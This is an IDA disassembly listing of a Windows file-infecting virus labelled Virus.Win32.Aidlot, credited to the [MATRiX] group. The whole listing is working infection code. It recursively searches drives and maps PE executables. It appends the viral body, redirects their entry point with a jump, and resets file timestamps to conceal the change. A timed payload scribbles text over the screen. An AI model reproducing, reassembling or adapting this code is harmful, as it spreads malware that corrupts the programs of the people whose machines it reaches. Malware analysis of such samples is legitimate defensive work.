;
; +-------------------------------------------------------------------------+
; |      This file was generated by The Interactive Disassembler (IDA)      |
; |           Copyright (c) 2024 Hex-Rays, <support@hex-rays.com>           |
; |                      License info: 48-2137-ACAB-99                      |
; |                                                                         |
; +-------------------------------------------------------------------------+
;
; Input SHA256 : 9C7448159CD16BA85BAB1B198CEBF8B2DD476693E9593B378998D352808715B7
; Input MD5    : 8CCC1B753F0C692D673CD532F9259AB7
; Input CRC32  : 8C681447
; Compiler     : Visual C++ (guessed)

; File Name   : /home/petik/Downloads/virusshare/Virus-Win32/aa/Virus.Win32.Aidlot
; Format      : Portable executable for 80386 (PE)
; Imagebase   : 400000
; Section 1. (virtual address 00001000)
; Virtual size                  : 00001000 (   4096.)
; Section size in file          : 00000800 (   2048.)
; Offset to raw data for section: 00000600
; Flags E0000020: Text Executable Readable Writable
; Alignment     : default

.686p
.mmx
.model flat


; Segment type: Pure code
; Segment permissions: Read/Write/Execute
CODE segment para public 'CODE' use32
assume cs:CODE
;org 401000h
; START OF FUNCTION CHUNK FOR start
assume es:nothing, ss:nothing, ds:CODE, fs:nothing, gs:nothing

loc_401000:             ; uExitCode
push    0
call    ExitProcess
; END OF FUNCTION CHUNK FOR start



public start
start proc near

var_4= dword ptr -4

; FUNCTION CHUNK AT 00401000 SIZE 00000007 BYTES

push    offset String   ; ".aiD properlly running"
call    GlobalFindAtomA
call    GetLastError
or      eax, eax
jz      short loc_401000
push    offset String   ; ".aiD properlly running"
call    GlobalAddAtomA
push    offset Name     ; "e"
push    0               ; bInitialState
push    0               ; bManualReset
push    0               ; lpEventAttributes
call    CreateEventA
mov     ds:hEvent, eax
push    offset aAidSynchMutex ; "aid synch mutex"
push    0               ; bInitialOwner
push    0               ; lpMutexAttributes
call    CreateMutexA
mov     ds:hHandle, eax
mov     eax, [esp+0]
mov     ds:dword_402B14, eax
push    0               ; lpSecurityAttributes
push    0FFFFFFFFh      ; lReadTimeout
push    258h            ; nMaxMessageSize
push    offset aMailslotAid ; "\\\\.\\mailslot\\aiD"
call    CreateMailslotA
mov     ds:hFile, eax
push    3
mov     esi, offset off_40203B

loc_401073:             ; lpThreadId
push    offset NumberOfBytesWritten
push    0               ; dwCreationFlags
push    0               ; lpParameter
lodsd
push    eax             ; lpStartAddress
push    0               ; dwStackSize
push    0               ; lpThreadAttributes
call    CreateThread
dec     [esp+4+var_4]
jnz     short loc_401073
push    0FFFFFFFFh      ; dwMilliseconds
call    Sleep

loc_401093:             ; dwNumberOfBytesToMap
push    eax
push    ebx             ; lpName
push    eax             ; dwMaximumSizeLow
push    0               ; dwMaximumSizeHigh
push    4               ; flProtect
push    0               ; lpFileMappingAttributes
push    ecx             ; hFile
call    CreateFileMappingA
push    0               ; dwFileOffsetLow
push    0               ; dwFileOffsetHigh
push    2               ; dwDesiredAccess
push    eax             ; hFileMappingObject
xchg    eax, edi
call    MapViewOfFile
retn
start endp ; sp-analysis failed




sub_4010B0 proc near
mov     ebx, offset aAidFm ; "aiD-fm"
mov     eax, 4000h
xor     ecx, ecx
dec     ecx
call    loc_401093
mov     ds:dword_4024B8, eax

loc_4010C7:             ; lpOverlapped
push    0
push    offset NumberOfBytesWritten ; lpNumberOfBytesRead
push    258h            ; nNumberOfBytesToRead
push    offset unk_402250 ; lpBuffer
push    ds:hFile        ; hFile
call    ReadFile
dec     dword ptr [esp+0]
push    offset loc_4010C7
jnz     short loc_4010F8
push    ds:hEvent       ; hEvent
call    SetEvent

loc_4010F8:
mov     eax, offset String2
cmp     dword ptr [eax], 534F4847h
jnz     locret_401192
push    eax             ; lpString2
push    offset String1  ; lpString1
call    lstrcatA
push    eax
push    20h ; ' '       ; dwFileAttributes
push    eax             ; lpFileName
call    SetFileAttributesA
pop     eax
push    0               ; hTemplateFile
push    0               ; dwFlagsAndAttributes
push    3               ; dwCreationDisposition
push    0               ; lpSecurityAttributes
push    1               ; dwShareMode
push    0C0000000h      ; dwDesiredAccess
push    eax             ; lpFileName
call    CreateFileA
push    eax             ; hObject
push    eax
push    eax             ; hFile
push    eax
xchg    eax, ecx
mov     eax, ds:dword_402270
mov     ds:lDistanceToMove, eax
add     eax, 4000h
mov     ebx, offset String2
call    loc_401093
push    edi             ; hObject
push    eax             ; lpBaseAddress
call    sub_40145E
call    UnmapViewOfFile
call    CloseHandle
pop     ebx
push    0               ; dwMoveMethod
push    0               ; lpDistanceToMoveHigh
push    ds:lDistanceToMove ; lDistanceToMove
push    ebx             ; hFile
call    SetFilePointer
call    SetEndOfFile
pop     ebx
mov     eax, offset LastWriteTime
push    eax             ; lpLastWriteTime
sub     eax, 8
push    eax             ; lpLastAccessTime
sub     eax, 8
push    eax             ; lpCreationTime
push    ebx             ; hFile
call    SetFileTime
call    CloseHandle

locret_401192:
retn
sub_4010B0 endp ; sp-analysis failed



; Attributes: noreturn

sub_401193 proc near
push    ds:hEvent       ; hHandle
call    WaitForSingleObject
mov     ds:PathName, 5C3A43h
call    sub_4011B4
push    0               ; uExitCode
call    ExitProcess
sub_401193 endp ; sp-analysis failed




sub_4011B4 proc near

var_8= dword ptr -8
var_4= dword ptr -4

push    0

loc_4011B6:             ; lpBuffer
push    offset Buffer
push    104h            ; nBufferLength
call    GetCurrentDirectoryA
mov     edi, offset PathName
push    edi             ; lpPathName

loc_4011CB:
call    SetCurrentDirectoryA
or      eax, eax
jz      loc_40132A
push    offset FindFileData ; lpFindFileData
push    offset FileName ; "*.*"
call    FindFirstFileA
push    eax

loc_4011E8:
pop     ebx
mov     eax, [esp+4+var_4]
or      eax, eax
jz      short loc_401269
push    ebx
push    offset byte_4024C0 ; lpString2
push    offset FindFileData.cFileName ; lpString1
call    lstrcmpiA
or      eax, eax
pop     ebx
jnz     short loc_401208
dec     [esp+4+var_4]

loc_401208:             ; hFindFile
push    ebx
push    offset FindFileData ; lpFindFileData
push    ebx             ; hFindFile
call    FindNextFileA
dec     eax
jz      short loc_4011E8
call    FindClose
dec     eax
cmp     byte ptr ds:PathName+3, 0
jz      loc_40131F

loc_40122A:
push    offset asc_402069 ; ".."
call    SetCurrentDirectoryA
inc     [esp+4+var_4]
mov     edi, offset PathName
push    edi
push    edi             ; lpString
call    lstrlenA
add     edi, eax
xchg    eax, ecx
dec     edi
std
xor     al, al
stosb
mov     al, 5Ch ; '\'
repne scasb
inc     edi
push    edi
inc     edi
cld
push    edi             ; lpString2
push    offset byte_4024C0 ; lpString1
call    lstrcpyA
pop     edi
mov     word ptr [edi], 5Ch ; '\'
jmp     loc_4011CB

loc_401269:
cmp     ds:FindFileData.cFileName, 2Eh ; '.'
jz      short loc_401208
mov     al, byte ptr ds:FindFileData.dwFileAttributes
and     al, 10h
cmp     al, 10h
jnz     short loc_4012A7
push    ebx             ; hFindFile
call    FindClose
mov     edi, offset PathName
push    edi
push    offset FindFileData.cFileName ; lpString2
push    edi             ; lpString1
call    lstrcatA
push    edi             ; lpString
call    lstrlenA
add     eax, [esp+8+var_8]
mov     word ptr [eax], 5Ch ; '\'
jmp     loc_4011CB

loc_4012A7:             ; hFindFile
push    ebx
call    FindClose
push    offset FindFileData.cFileName ; lpString2
push    offset byte_4024C0 ; lpString1
call    lstrcpyA
push    offset Buffer   ; lpPathName
call    SetCurrentDirectoryA
mov     [esp+4+var_4], eax
push    0FFFFFFFFh      ; dwMilliseconds
push    ds:hHandle      ; hHandle
call    WaitForSingleObject
push    0               ; hTemplateFile
push    80h             ; dwFlagsAndAttributes
push    3               ; dwCreationDisposition
push    0               ; lpSecurityAttributes
push    1               ; dwShareMode
push    120116h         ; dwDesiredAccess
push    offset aMailslotAid ; "\\\\.\\mailslot\\aiD"
call    CreateFileA
push    eax             ; hObject
push    0               ; lpOverlapped
push    offset NumberOfBytesWritten ; lpNumberOfBytesWritten
push    258h            ; nNumberOfBytesToWrite
push    offset FindFileData ; lpBuffer
push    eax             ; hFile
call    WriteFile
call    CloseHandle
push    ds:hHandle      ; hMutex
call    ReleaseMutex
jmp     loc_4011B6

loc_40131F:
inc     byte ptr ds:PathName
jmp     loc_4011B6

loc_40132A:
cmp     byte ptr ds:PathName+3, 0
jnz     loc_40122A
pop     eax
retn
sub_4011B4 endp



; Attributes: noreturn

sub_401339 proc near

x= dword ptr -10h
y= dword ptr -0Ch

push    0AFC80h         ; dwMilliseconds
call    Sleep
push    0               ; pdm
push    0               ; pszPort
push    0               ; pwszDevice
push    offset pwszDriver ; "DISPLAY"
call    CreateDCA
mov     ds:hdc, eax
push    1               ; mode
push    eax             ; hdc
call    SetBkMode
push    10h             ; i
call    GetStockObject
push    eax             ; h
push    ds:hdc          ; hdc
call    SelectObject
mov     ds:x, 10h
mov     ds:y, 30h ; '0'
mov     esi, offset off_40207D ; ".aiD by mort[MATRiX] running properly o"...

loc_40138C:
lodsd
or      eax, eax
jz      short loc_4013BA
xchg    eax, edi
push    edi             ; lpString
call    lstrlenA
push    eax             ; c
push    edi             ; lpString
push    ds:y            ; y
push    ds:x            ; x
push    ds:hdc          ; hdc
call    TextOutA
add     ds:y, 14h
jmp     short loc_40138C

loc_4013BA:             ; uType
push    0
push    offset Caption  ; ".aid(s) by mort[MATRiX]"
push    offset Text     ; " click OK, and u'll b ok,..."
push    0               ; hWnd
call    MessageBoxA
push    2               ; mode
push    ds:hdc          ; hdc
call    SetBkMode
push    0               ; nIndex
call    GetSystemMetrics
mov     ds:x, eax
push    1               ; nIndex
call    GetSystemMetrics
mov     ds:y, eax

loc_4013F2:             ; c
push    8
push    offset aMatrix  ; "[MATRiX]"
push    0
push    0
push    ds:hdc          ; hdc
push    ds:x
call    sub_401428
mov     [esp+14h+y], eax ; y
push    ds:x
call    sub_401428
mov     [esp+14h+x], eax ; x
call    TextOutA
jmp     short loc_4013F2
sub_401339 endp




sub_401428 proc near

arg_0= dword ptr  4

mov     eax, ds:dword_402B14
rol     eax, 3
xor     eax, ds:dword_402B14
adc     ds:dword_402B14, eax
mov     ebx, eax
sbb     eax, ds:dword_402B14
and     eax, 0FFFFFFFh

loc_401449:
cmp     eax, [esp+arg_0]
jl      short locret_40145B
sub     eax, [esp+arg_0]
xor     ds:dword_402B14, eax
jmp     short loc_401449

locret_40145B:
retn    4
sub_401428 endp




sub_40145E proc near

var_10= dword ptr -10h
var_C= dword ptr -0Ch
var_8= dword ptr -8
var_4= dword ptr -4

xchg    eax, ebx
movzx   eax, word ptr [ebx]
not     eax
cmp     eax, 0FFFFA5B2h
jnz     locret_401536
mov     esi, [ebx+3Ch]
add     esi, ebx
lodsd
not     eax
cmp     eax, 0FFFFBAAFh
jnz     locret_401536
push    dword ptr [esi+28h]
push    dword ptr [esi+30h]
add     dword ptr [esi+4Ch], 1600h
mov     eax, [esi+70h]
shl     eax, 3
add     eax, esi
add     eax, 74h ; 't'
push    eax
xchg    eax, esi
xchg    eax, edi

loc_40149D:
lodsd
add     esi, 24h ; '$'
or      eax, eax
jnz     short loc_40149D
mov     eax, [esi-40h]
add     eax, ebx
add     eax, [esi-3Ch]
xchg    eax, edi
push    edi
mov     eax, ds:dword_4024B8
push    eax
mov     ecx, [eax+4]
add     eax, 10h
xchg    eax, esi
rep movsb
xchg    eax, esi
mov     eax, [esi-44h]
add     eax, [esi-40h]
pop     edi
mov     ecx, eax
add     eax, [edi]
add     eax, [esp+10h+var_8]
xchg    eax, edx
mov     eax, [esp+10h+var_10]
add     eax, [edi+8]
mov     [eax], edx
mov     eax, [esp+10h+var_10]
add     eax, [edi+0Ch]
mov     [eax], edx
add     dword ptr [esi-48h], 2000h
add     dword ptr [esi-40h], 1600h
or      dword ptr [esi-2Ch], 0A0000020h
mov     esi, [esp+10h+var_C]
mov     eax, [esi+14h]
mov     edx, [esp+10h+var_4]
sub     edx, [esi+0Ch]
add     eax, edx
add     eax, ebx
xchg    eax, esi
mov     edi, [esp+10h+var_10]
add     edi, 0Bh
push    esi
movsd
movsb
xchg    eax, esi
mov     eax, [esi+0Ch]
sub     ecx, eax
add     eax, [esp+14h+var_8]
add     eax, edx
sub     edi, 0Fh
stosd
pop     edi
mov     al, 0E9h
stosb
xchg    eax, ecx
sub     eax, 5
stosd
add     esp, 10h
add     ds:lDistanceToMove, 1600h

locret_401536:
retn
sub_40145E endp

; [00000006 BYTES: COLLAPSED FUNCTION FindClose]
; [00000006 BYTES: COLLAPSED FUNCTION CreateFileA]
; [00000006 BYTES: COLLAPSED FUNCTION CloseHandle]
; [00000006 BYTES: COLLAPSED FUNCTION ReadFile]
; [00000006 BYTES: COLLAPSED FUNCTION CreateMutexA]
; [00000006 BYTES: COLLAPSED FUNCTION CreateThread]
; [00000006 BYTES: COLLAPSED FUNCTION ExitProcess]
; [00000006 BYTES: COLLAPSED FUNCTION CreateEventA]
; [00000006 BYTES: COLLAPSED FUNCTION FindNextFileA]
; [00000006 BYTES: COLLAPSED FUNCTION FindFirstFileA]
; [00000006 BYTES: COLLAPSED FUNCTION GetCurrentDirectoryA]
; [00000006 BYTES: COLLAPSED FUNCTION GetLastError]
; [00000006 BYTES: COLLAPSED FUNCTION GlobalAddAtomA]
; [00000006 BYTES: COLLAPSED FUNCTION GlobalAlloc]
; [00000006 BYTES: COLLAPSED FUNCTION GlobalFindAtomA]
; [00000006 BYTES: COLLAPSED FUNCTION GlobalFree]
; [00000006 BYTES: COLLAPSED FUNCTION IsDebuggerPresent]
; [00000006 BYTES: COLLAPSED FUNCTION CreateFileMappingA]
; [00000006 BYTES: COLLAPSED FUNCTION CreateMailslotA]
; [00000006 BYTES: COLLAPSED FUNCTION ResumeThread]
; [00000006 BYTES: COLLAPSED FUNCTION ReleaseMutex]
; [00000006 BYTES: COLLAPSED FUNCTION SetCurrentDirectoryA]
; [00000006 BYTES: COLLAPSED FUNCTION SetEndOfFile]
; [00000006 BYTES: COLLAPSED FUNCTION SetEvent]
; [00000006 BYTES: COLLAPSED FUNCTION SetFileAttributesA]
; [00000006 BYTES: COLLAPSED FUNCTION SetFilePointer]
; [00000006 BYTES: COLLAPSED FUNCTION SetFileTime]
; [00000006 BYTES: COLLAPSED FUNCTION SetThreadPriority]
; [00000006 BYTES: COLLAPSED FUNCTION Sleep]
; [00000006 BYTES: COLLAPSED FUNCTION UnmapViewOfFile]
; [00000006 BYTES: COLLAPSED FUNCTION WaitForSingleObject]
; [00000006 BYTES: COLLAPSED FUNCTION WriteFile]
; [00000006 BYTES: COLLAPSED FUNCTION lstrcatA]
; [00000006 BYTES: COLLAPSED FUNCTION lstrcmpiA]
; [00000006 BYTES: COLLAPSED FUNCTION lstrcpyA]
; [00000006 BYTES: COLLAPSED FUNCTION lstrlenA]
; [00000006 BYTES: COLLAPSED FUNCTION MapViewOfFile]
; [00000006 BYTES: COLLAPSED FUNCTION ReleaseDC]
; [00000006 BYTES: COLLAPSED FUNCTION MessageBoxA]
; [00000006 BYTES: COLLAPSED FUNCTION GetSystemMetrics]
; [00000006 BYTES: COLLAPSED FUNCTION TextOutA]
; [00000006 BYTES: COLLAPSED FUNCTION SetBkMode]
; [00000006 BYTES: COLLAPSED FUNCTION SelectObject]
; [00000006 BYTES: COLLAPSED FUNCTION GetStockObject]
; [00000006 BYTES: COLLAPSED FUNCTION CreateDCA]
align 200h
dd 200h dup(?)
CODE ends

; Section 2. (virtual address 00002000)
; Virtual size                  : 00001000 (   4096.)
; Section size in file          : 00000400 (   1024.)
; Offset to raw data for section: 00000E00
; Flags C0000040: Data Readable Writable
; Alignment     : default

; Segment type: Pure data
; Segment permissions: Read/Write
DATA segment para public 'DATA' use32
assume cs:DATA
;org 402000h
; CHAR Caption[]
Caption db '.aid(s) by mort[MATRiX]',0
; CHAR aMailslotAid[]
aMailslotAid db '\\.\mailslot\aiD',0
; CHAR Name[]
Name db 'e',0
; CHAR aAidSynchMutex[]
aAidSynchMutex db 'aid synch mutex',0
off_40203B dd offset sub_4010B0
dd offset sub_401193
dd offset sub_401339
aAidFm db 'aiD-fm',0
; CHAR String[]
String db '.aiD properlly running',0
; CHAR FileName[]
FileName db '*.*',0
; CHAR asc_402069[]
asc_402069 db '..',0
; CHAR pwszDriver[]
pwszDriver db 'DISPLAY',0
; CHAR aMatrix[]
aMatrix db '[MATRiX]',0
off_40207D dd offset aAidByMortMatri ; ".aiD by mort[MATRiX] running properly o"...
dd offset aFreewareVersio ; " freeware version - for educational pur"...
dd offset aCMatrixGroup20 ; " (c)[MATRiX] group 2000"
dd offset aMatrixTeamUltr ; " [MATRiX] team: ULTRAS, Del_Armg0, NBK,"...
dd offset aGreetzMatrixTe ; " greetz: [MATRiX] team, all ppl on unde"...
dd offset aSpecialGreetzT ; " special greetz to Anaktos, Darkman and"...
dd offset aSpecialBugWell ; " special bug: well, i dont think it'll "...
dd offset aDedicatedMojiM ; " ------[ dedicated moji marene ]-"
db    0
db    0
db    0
db    0
aAidByMortMatri db '.aiD by mort[MATRiX] running proper'
db 'ly on system...',0
aFreewareVersio db ' freeware version - for educational'
db ' purpose only',0
aCMatrixGroup20 db ' (c)[MATRiX] group 2000',0
aMatrixTeamUltr db ' [MATRiX] team: ULTRAS, Del_Armg0, '
db 'NBK, Anaktos, Lord Dark, mort',0
aGreetzMatrixTe db ' greetz: [MATRiX] team, all ppl on '
db 'undernet #virus chan',0
aSpecialGreetzT db ' special greetz to Anaktos, Darkman'
db ' and Perikles',0
aSpecialBugWell db ' special bug: well, i dont think it'
db 27h,'ll run ever properlly,...:)',0
aDedicatedMojiM db ' ------[ dedicated moji marene ]-',0
; CHAR Text[]
Text db ' click OK, and u',27h,'ll b ok,...',0
align 4
; HANDLE hFile
hFile dd 0
align 10h
unk_402250 db    0
db    0
db    0
db    0
db    0
db    0
db    0
db    0
db    0
db    0
db    0
db    0
db    0
db    0
db    0
db    0
db    0
db    0
db    0
db    0
; FILETIME LastWriteTime
LastWriteTime FILETIME <0>
align 10h
dword_402270 dd 0
db    0
db    0
db    0
db    0
db    0
db    0
db    0
db    0
; CHAR String2[276]
String2 db 114h dup(0)
; CHAR String1[280]
String1 db 70h dup(0), 0A8h dup(?)
; DWORD NumberOfBytesWritten
NumberOfBytesWritten dd ?
; HANDLE hEvent
hEvent dd ?
; HANDLE hHandle
hHandle dd ?
align 8
dword_4024B8 dd ?
; LONG lDistanceToMove
lDistanceToMove dd ?
; CHAR byte_4024C0[520]
byte_4024C0 db 208h dup(?)
; CHAR Buffer[520]
Buffer db 208h dup(?)
; struct _WIN32_FIND_DATAA FindFileData
FindFileData _WIN32_FIND_DATAA <?>
; CHAR PathName[]
PathName dd ?
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
db    ? ;
dword_402B14 dd ?
; int x
x dd ?
; int y
y dd ?
; HDC hdc
hdc dd ?
align 800h
DATA ends

; Section 3. (virtual address 00003000)
; Virtual size                  : 00001000 (   4096.)
; Section size in file          : 00000600 (   1536.)
; Offset to raw data for section: 00001200
; Flags C0000040: Data Readable Writable
; Alignment     : default

; Segment type: Externs
; _idata


;
; Imports from KERNEL32.dll
;
; BOOL (__stdcall *FindClose)(HANDLE hFindFile)
extrn __imp_FindClose:dword
; HANDLE (__stdcall *CreateFileA)(LPCSTR lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode, LPSECURITY_ATTRIBUTES lpSecurityAttributes, DWORD dwCreationDisposition, DWORD dwFlagsAndAttributes, HANDLE hTemplateFile)
extrn __imp_CreateFileA:dword
; BOOL (__stdcall *CloseHandle)(HANDLE hObject)
extrn __imp_CloseHandle:dword
; BOOL (__stdcall *ReadFile)(HANDLE hFile, LPVOID lpBuffer, DWORD nNumberOfBytesToRead, LPDWORD lpNumberOfBytesRead, LPOVERLAPPED lpOverlapped)
extrn __imp_ReadFile:dword
; HANDLE (__stdcall *CreateMutexA)(LPSECURITY_ATTRIBUTES lpMutexAttributes, BOOL bInitialOwner, LPCSTR lpName)
extrn __imp_CreateMutexA:dword
; HANDLE (__stdcall *CreateThread)(LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId)
extrn __imp_CreateThread:dword
; void (__stdcall __noreturn *ExitProcess)(UINT uExitCode)
extrn __imp_ExitProcess:dword
; HANDLE (__stdcall *CreateEventA)(LPSECURITY_ATTRIBUTES lpEventAttributes, BOOL bManualReset, BOOL bInitialState, LPCSTR lpName)
extrn __imp_CreateEventA:dword
; BOOL (__stdcall *FindNextFileA)(HANDLE hFindFile, LPWIN32_FIND_DATAA lpFindFileData)
extrn __imp_FindNextFileA:dword
; HANDLE (__stdcall *FindFirstFileA)(LPCSTR lpFileName, LPWIN32_FIND_DATAA lpFindFileData)
extrn __imp_FindFirstFileA:dword
; DWORD (__stdcall *GetCurrentDirectoryA)(DWORD nBufferLength, LPSTR lpBuffer)
extrn __imp_GetCurrentDirectoryA:dword
; DWORD (__stdcall *GetLastError)()
extrn __imp_GetLastError:dword
; ATOM (__stdcall *GlobalAddAtomA)(LPCSTR lpString)
extrn __imp_GlobalAddAtomA:dword
; HGLOBAL (__stdcall *GlobalAlloc)(UINT uFlags, SIZE_T dwBytes)
extrn __imp_GlobalAlloc:dword
; ATOM (__stdcall *GlobalFindAtomA)(LPCSTR lpString)
extrn __imp_GlobalFindAtomA:dword
; HGLOBAL (__stdcall *GlobalFree)(HGLOBAL hMem)
extrn __imp_GlobalFree:dword
; BOOL (__stdcall *IsDebuggerPresent)()
extrn __imp_IsDebuggerPresent:dword
; HANDLE (__stdcall *CreateFileMappingA)(HANDLE hFile, LPSECURITY_ATTRIBUTES lpFileMappingAttributes, DWORD flProtect, DWORD dwMaximumSizeHigh, DWORD dwMaximumSizeLow, LPCSTR lpName)
extrn __imp_CreateFileMappingA:dword
; HANDLE (__stdcall *CreateMailslotA)(LPCSTR lpName, DWORD nMaxMessageSize, DWORD lReadTimeout, LPSECURITY_ATTRIBUTES lpSecurityAttributes)
extrn __imp_CreateMailslotA:dword
; DWORD (__stdcall *ResumeThread)(HANDLE hThread)
extrn __imp_ResumeThread:dword
; BOOL (__stdcall *ReleaseMutex)(HANDLE hMutex)
extrn __imp_ReleaseMutex:dword
; BOOL (__stdcall *SetCurrentDirectoryA)(LPCSTR lpPathName)
extrn __imp_SetCurrentDirectoryA:dword
; BOOL (__stdcall *SetEndOfFile)(HANDLE hFile)
extrn __imp_SetEndOfFile:dword
; BOOL (__stdcall *SetEvent)(HANDLE hEvent)
extrn __imp_SetEvent:dword
; BOOL (__stdcall *SetFileAttributesA)(LPCSTR lpFileName, DWORD dwFileAttributes)
extrn __imp_SetFileAttributesA:dword
; DWORD (__stdcall *SetFilePointer)(HANDLE hFile, LONG lDistanceToMove, PLONG lpDistanceToMoveHigh, DWORD dwMoveMethod)
extrn __imp_SetFilePointer:dword
; BOOL (__stdcall *SetFileTime)(HANDLE hFile, const FILETIME *lpCreationTime, const FILETIME *lpLastAccessTime, const FILETIME *lpLastWriteTime)
extrn __imp_SetFileTime:dword
; BOOL (__stdcall *SetThreadPriority)(HANDLE hThread, int nPriority)
extrn __imp_SetThreadPriority:dword
; void (__stdcall *Sleep)(DWORD dwMilliseconds)
extrn __imp_Sleep:dword
; BOOL (__stdcall *UnmapViewOfFile)(LPCVOID lpBaseAddress)
extrn __imp_UnmapViewOfFile:dword
; DWORD (__stdcall *WaitForSingleObject)(HANDLE hHandle, DWORD dwMilliseconds)
extrn __imp_WaitForSingleObject:dword
; BOOL (__stdcall *WriteFile)(HANDLE hFile, LPCVOID lpBuffer, DWORD nNumberOfBytesToWrite, LPDWORD lpNumberOfBytesWritten, LPOVERLAPPED lpOverlapped)
extrn __imp_WriteFile:dword
; LPSTR (__stdcall *lstrcatA)(LPSTR lpString1, LPCSTR lpString2)
extrn __imp_lstrcatA:dword
; int (__stdcall *lstrcmpiA)(LPCSTR lpString1, LPCSTR lpString2)
extrn __imp_lstrcmpiA:dword
; LPSTR (__stdcall *lstrcpyA)(LPSTR lpString1, LPCSTR lpString2)
extrn __imp_lstrcpyA:dword
; int (__stdcall *lstrlenA)(LPCSTR lpString)
extrn __imp_lstrlenA:dword
; LPVOID (__stdcall *MapViewOfFile)(HANDLE hFileMappingObject, DWORD dwDesiredAccess, DWORD dwFileOffsetHigh, DWORD dwFileOffsetLow, SIZE_T dwNumberOfBytesToMap)
extrn __imp_MapViewOfFile:dword

;
; Imports from USER32.dll
;
; int (__stdcall *ReleaseDC)(HWND hWnd, HDC hDC)
extrn __imp_ReleaseDC:dword
; int (__stdcall *MessageBoxA)(HWND hWnd, LPCSTR lpText, LPCSTR lpCaption, UINT uType)
extrn __imp_MessageBoxA:dword
; int (__stdcall *GetSystemMetrics)(int nIndex)
extrn __imp_GetSystemMetrics:dword

;
; Imports from GDI32.dll
;
; BOOL (__stdcall *TextOutA)(HDC hdc, int x, int y, LPCSTR lpString, int c)
extrn __imp_TextOutA:dword
; int (__stdcall *SetBkMode)(HDC hdc, int mode)
extrn __imp_SetBkMode:dword
; HGDIOBJ (__stdcall *SelectObject)(HDC hdc, HGDIOBJ h)
extrn __imp_SelectObject:dword
; HGDIOBJ (__stdcall *GetStockObject)(int i)
extrn __imp_GetStockObject:dword
; HDC (__stdcall *CreateDCA)(LPCSTR pwszDriver, LPCSTR pwszDevice, LPCSTR pszPort, const DEVMODEA *pdm)
extrn __imp_CreateDCA:dword



end start
